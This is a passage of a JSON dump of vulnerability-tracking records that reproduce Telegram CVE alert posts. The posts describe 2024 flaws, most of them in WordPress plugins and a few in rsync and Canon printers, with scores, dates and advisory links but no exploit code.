with Subscriber-level access and above, to create Simple Text Responses to chat queries.\n\ud83d\udccf Published: 2025-01-22T05:23:04.823Z\n\ud83d\udccf Modified: 2025-01-22T05:23:04.823Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/91427e3e-fedb-407e-8af6-8f4411a4166a?source=cve\n2. https://www.wpbot.pro/", "creation_timestamp": "2025-01-22T06:03:31.000000Z"}, {"uuid": "74bfdec5-44a8-4aa0-ade0-26cc5be652a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2529", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12857\n\ud83d\udd39 Description: The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.1.8. This is due to the plugin not properly verifying a user's identity prior to logging them in as that user. This makes it possible for unauthenticated attackers to authenticate as any user as long as they have configured OTP login by phone number.\n\ud83d\udccf Published: 2025-01-22T07:03:52.415Z\n\ud83d\udccf Modified: 2025-01-22T07:03:52.415Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4ff3b4f1-dd36-43d0-b472-55a940907437?source=cve\n2. https://themeforest.net/item/adforest-classified-wordpress-theme/19481695", "creation_timestamp": "2025-01-22T08:02:07.000000Z"}, {"uuid": "56502163-8af3-425d-93ce-e08c8410373f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2382", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12104\n\ud83d\udd39 Description: The Visual Website Collaboration, Feedback & Project Management \u2013 Atarim plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the wpf_delete_file and wpf_delete_file functions in all versions up to, and including, 4.0.9. This makes it possible for unauthenticated attackers to delete project pages and files.\n\ud83d\udccf Published: 2025-01-21T09:21:10.182Z\n\ud83d\udccf Modified: 2025-01-21T09:21:10.182Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7d40c658-a156-470e-bf93-a1f2ccec9c61?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3225314%40atarim-visual-collaboration&new=3225314%40atarim-visual-collaboration&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-21T10:01:18.000000Z"}, {"uuid": "7c756f54-64ca-411c-b0fb-76012e33d3aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2380", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12698\n\ud83d\udd39 Description: An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources.\n\ud83d\udccf Published: 2024-12-18T05:07:21.026Z\n\ud83d\udccf Modified: 2025-01-21T09:28:08.318Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12698\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2332674", "creation_timestamp": "2025-01-21T10:01:16.000000Z"}, {"uuid": "05e59356-7551-49d2-b4b9-0202ff233390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3131", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-x7qc-wx3v-p86v\n\ud83d\udd25 CVSS Score: N/A (CVSS_V3)\n\ud83d\udd39 Description: The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via any parameter in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-26T12:30:31Z\n\ud83d\udccf Modified: 2025-01-26T12:30:31Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12334\n2. https://plugins.trac.wordpress.org/changeset/3224312/wc-affiliate\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/efca1ee2-2038-440e-941c-22533b4d833b?source=cve", "creation_timestamp": "2025-01-26T13:06:16.000000Z"}, {"uuid": "679b340c-b65d-4db4-bf59-b7c156a5bc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12118", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2722", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12118\n\ud83d\udd39 Description: The The Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Event Calendar Link Widget through the html_tag attribute in all versions up to, and including, 6.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:29.698Z\n\ud83d\udccf Modified: 2025-01-23T11:13:29.698Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d67de4f2-b680-49f8-be95-c2464b70f7d0?source=cve\n2. https://plugins.trac.wordpress.org/browser/the-events-calendar/tags/6.8.1/src/Events/Integrations/Plugins/Elementor/Widgets/Event_Calendar_Link.php#L90\n3. https://plugins.trac.wordpress.org/changeset/3227009/the-events-calendar/tags/6.9.1/src/views/integrations/elementor/widgets/event-calendar-link.php", "creation_timestamp": "2025-01-23T12:03:32.000000Z"}, {"uuid": "4671aac0-3674-4d7d-a13d-91dd6b5c8ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2671", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12477\n\ud83d\udd39 Description: The Avada Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 3.11.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-22T21:21:53.814Z\n\ud83d\udccf Modified: 2025-01-22T21:21:53.814Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7c54588f-6436-406f-93cb-b08965586d11?source=cve\n2. https://avada.com", "creation_timestamp": "2025-01-22T22:02:39.000000Z"}, {"uuid": "ea59c7ef-774d-4b62-ac49-511640054e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2716", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12957\n\ud83d\udd39 Description: A file handling command vulnerability in certain versions of Armoury Crate may result in arbitrary file deletion.\nRefer to the '01/23/2025 Security Update for Armoury Crate App' section on the ASUS Security Advisory for more information.\n\ud83d\udccf Published: 2025-01-23T09:41:12.337Z\n\ud83d\udccf Modified: 2025-01-23T09:41:12.337Z\n\ud83d\udd17 References:\n1. https://www.asus.com/content/asus-product-security-advisory/", "creation_timestamp": "2025-01-23T10:03:15.000000Z"}, {"uuid": "3a84c91e-4c00-473d-bc7f-c0f4b868b0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2726", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12504\n\ud83d\udd39 Description: The Broadcast Live Video \u2013 Live Streaming : HTML5, WebRTC, HLS, RTSP, RTMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_hls' shortcode in all versions up to, and including, 6.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:28.100Z\n\ud83d\udccf Modified: 2025-01-23T11:13:28.100Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/74b27798-3c6f-4c4e-80f8-7aa40f704fb7?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218331%40videowhisper-live-streaming-integration&new=3218331%40videowhisper-live-streaming-integration&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-23T12:03:38.000000Z"}, {"uuid": "97dd45af-555c-4a35-8d0e-e0796946be92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2728", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12043\n\ud83d\udd39 Description: The Prime Slider \u2013 Addons For Elementor (Revolution of a slider, Hero Slider, Post Slider and Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'social_link_title' parameter of the 'blog' widget in all versions up to, and including, 3.16.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:27.032Z\n\ud83d\udccf Modified: 2025-01-23T11:13:27.032Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/23e1fffa-9170-4bc2-ad7e-27708a08033b?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3222179%40bdthemes-prime-slider-lite&new=3222179%40bdthemes-prime-slider-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-23T12:03:40.000000Z"}, {"uuid": "818d0e9d-1d86-4fc7-affd-89982f6173a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12037\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bf_new_submission_link' shortcode in all versions up to, and including, 2.8.13 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12037\n2. https://plugins.trac.wordpress.org/changeset/3231602/buddyforms/trunk/includes/shortcodes.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/accd4f34-4e10-4c83-96c3-c2a078ecd5cc?source=cve", "creation_timestamp": "2025-01-31T13:15:09.000000Z"}, {"uuid": "0bb6fd74-dded-4a16-a59a-44d0ac70b504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3135", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12334\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-26T12:15:28.460\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3224312/wc-affiliate\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/efca1ee2-2038-440e-941c-22533b4d833b?source=cve", "creation_timestamp": "2025-01-26T13:14:25.000000Z"}, {"uuid": "60567346-4468-44cd-b668-9a32daf8d3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12415", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3652", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12415\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: The The AI Infographic Maker plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.9.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12415\n2. https://plugins.trac.wordpress.org/browser/infographic-and-list-builder-ilist/trunk/embed/qcld-embed-link.php#L46\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210519%40infographic-and-list-builder-ilist&new=3210519%40infographic-and-list-builder-ilist&sfp_email=&sfph_mail=#file1030\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3227956%40infographic-and-list-builder-ilist&new=3227956%40infographic-and-list-builder-ilist&sfp_email=&sfph_mail=\n5. https://www.wordfence.com/threat-intel/vulnerabilities/id/0aa21fad-4dd0-4ccd-a325-de3532a6ffaf?source=cve", "creation_timestamp": "2025-01-31T13:15:03.000000Z"}, {"uuid": "9256242b-b8f1-4380-8627-a834bd87d6cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3650", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12267\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Drag and Drop Multiple File Upload \u2013 Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12267\n2. https://plugins.trac.wordpress.org/changeset/3231973/drag-and-drop-multiple-file-upload-contact-form-7/trunk/inc/dnd-upload-cf7.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/00ec7251-3be1-411a-b38e-1782d1691e18?source=cve", "creation_timestamp": "2025-01-31T13:15:01.000000Z"}, {"uuid": "d6c727bc-9908-487f-af64-1b4ac9ded9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3368", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12085\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T18:32:00Z\n\ud83d\udccf Modified: 2025-01-29T09:31:42Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12085\n2. https://access.redhat.com/errata/RHSA-2025:0324\n3. https://access.redhat.com/errata/RHSA-2025:0325\n4. https://access.redhat.com/errata/RHSA-2025:0637\n5. https://access.redhat.com/errata/RHSA-2025:0688\n6. https://access.redhat.com/errata/RHSA-2025:0714\n7. https://access.redhat.com/errata/RHSA-2025:0774\n8. https://access.redhat.com/errata/RHSA-2025:0787\n9. https://access.redhat.com/security/cve/CVE-2024-12085\n10. https://bugzilla.redhat.com/show_bug.cgi?id=2330539\n11. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-01-29T10:10:09.000000Z"}, {"uuid": "980d34c5-15ca-4df6-9c78-f9ac2ff941f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6542", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12097\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Boceksoft Informatics E-Travel allows SQL Injection.This issue affects E-Travel: before 15.12.2025.\n\ud83d\udccf Published: 2025-03-05T13:18:27.902Z\n\ud83d\udccf Modified: 2025-03-05T13:18:27.902Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0053", "creation_timestamp": "2025-03-05T13:35:03.000000Z"}, {"uuid": "82e4ed7e-fde1-4d82-988a-4a16bb78e7db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3051", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12826\n\ud83d\udd39 Description: The GoHero Store Customizer for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wooh_action_settings_save_frontend() function in all versions up to, and including, 3.5. This makes it possible for unauthenticated attackers to update limited plugin settings.\n\ud83d\udccf Published: 2025-01-25T07:24:20.241Z\n\ud83d\udccf Modified: 2025-01-25T07:24:20.241Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f65ee908-004f-4526-aeca-41b36522bb30?source=cve\n2. https://wordpress.org/plugins/personalize-woocommerce-cart-page/", "creation_timestamp": "2025-01-25T08:05:26.000000Z"}, {"uuid": "f02392b6-e7a5-46c3-92d2-95fa9fd50858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3069", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12816\n\ud83d\udd39 Description: The NOTICE BOARD BY TOWKIR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'notice-board' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:12.913Z\n\ud83d\udccf Modified: 2025-01-25T07:24:12.913Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/069b2f3e-da9d-476c-a9fa-1b7d445a704b?source=cve\n2. https://plugins.trac.wordpress.org/browser/notice-board-by-towkir/trunk/towkir-notice-board.php\n3. https://wordpress.org/plugins/notice-board-by-towkir/", "creation_timestamp": "2025-01-25T08:05:50.000000Z"}, {"uuid": "8ea2d439-1dec-400c-8272-7910db775ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3068", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12512\n\ud83d\udd39 Description: The Ask Me Anything (Anonymously) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'askmeanythingpeople' shortcode in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:13.494Z\n\ud83d\udccf Modified: 2025-01-25T07:24:13.494Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0f204d39-8a4a-4008-adc6-3ba72531f5a2?source=cve\n2. https://wordpress.org/plugins/ask-me-anything-anonymously/", "creation_timestamp": "2025-01-25T08:05:50.000000Z"}, {"uuid": "f28725d0-e268-4627-87ed-c67c2f272533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12600", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3049", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12600\n\ud83d\udd39 Description: The Custom Product Tabs Lite for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.9.0 via deserialization of untrusted input from the 'frs_woo_product_tabs' parameter. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-25T06:40:38.874Z\n\ud83d\udccf Modified: 2025-01-25T06:40:38.874Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/33c16b47-3202-4f26-bf45-98172b8cac45?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-custom-product-tabs-lite/trunk/woocommerce-custom-product-tabs-lite.php#L372\n3. https://plugins.trac.wordpress.org/changeset/3226839/", "creation_timestamp": "2025-01-25T07:05:17.000000Z"}, {"uuid": "a1233237-de37-4c2a-9888-1a505108dd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3056", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12817\n\ud83d\udd39 Description: The Etsy Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'product_link' shortcode in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:18.188Z\n\ud83d\udccf Modified: 2025-01-25T07:24:18.188Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d77b08-3a4a-441b-8725-fd93744de73c?source=cve\n2. https://plugins.trac.wordpress.org/browser/etsy-importer/trunk/includes/shortcodes.php\n3. https://wordpress.org/plugins/etsy-importer/", "creation_timestamp": "2025-01-25T08:05:34.000000Z"}, {"uuid": "026d5706-3b4b-4b5c-8d5b-5ac1a3585973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3061", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12113\n\ud83d\udd39 Description: The Youzify \u2013 BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user's reviews.\n\ud83d\udccf Published: 2025-01-25T07:24:16.273Z\n\ud83d\udccf Modified: 2025-01-25T07:24:16.273Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/977e407c-0650-454f-98bd-b39bb8c8c61f?source=cve\n2. https://wordpress.org/plugins/youzify/", "creation_timestamp": "2025-01-25T08:05:41.000000Z"}, {"uuid": "755552a8-dd78-433d-8da3-eefa44106289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3224", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12647\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in CPCA font download processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12647\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:26.000000Z"}, {"uuid": "c098d5ad-97fa-4adc-b13e-db709f7c04fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12076", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3067", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12076\n\ud83d\udd39 Description: The Target Video Easy Publish plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.3. This is due to missing or incorrect nonce validation on the resync_carousel(), seek_snapshot(), uploaded_cc(), and remove_cc() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-25T07:24:13.906Z\n\ud83d\udccf Modified: 2025-01-25T07:24:13.906Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/192b8ab0-f80e-4c0e-9cc0-df567d5791a8?source=cve\n2. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L465\n3. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L489\n4. 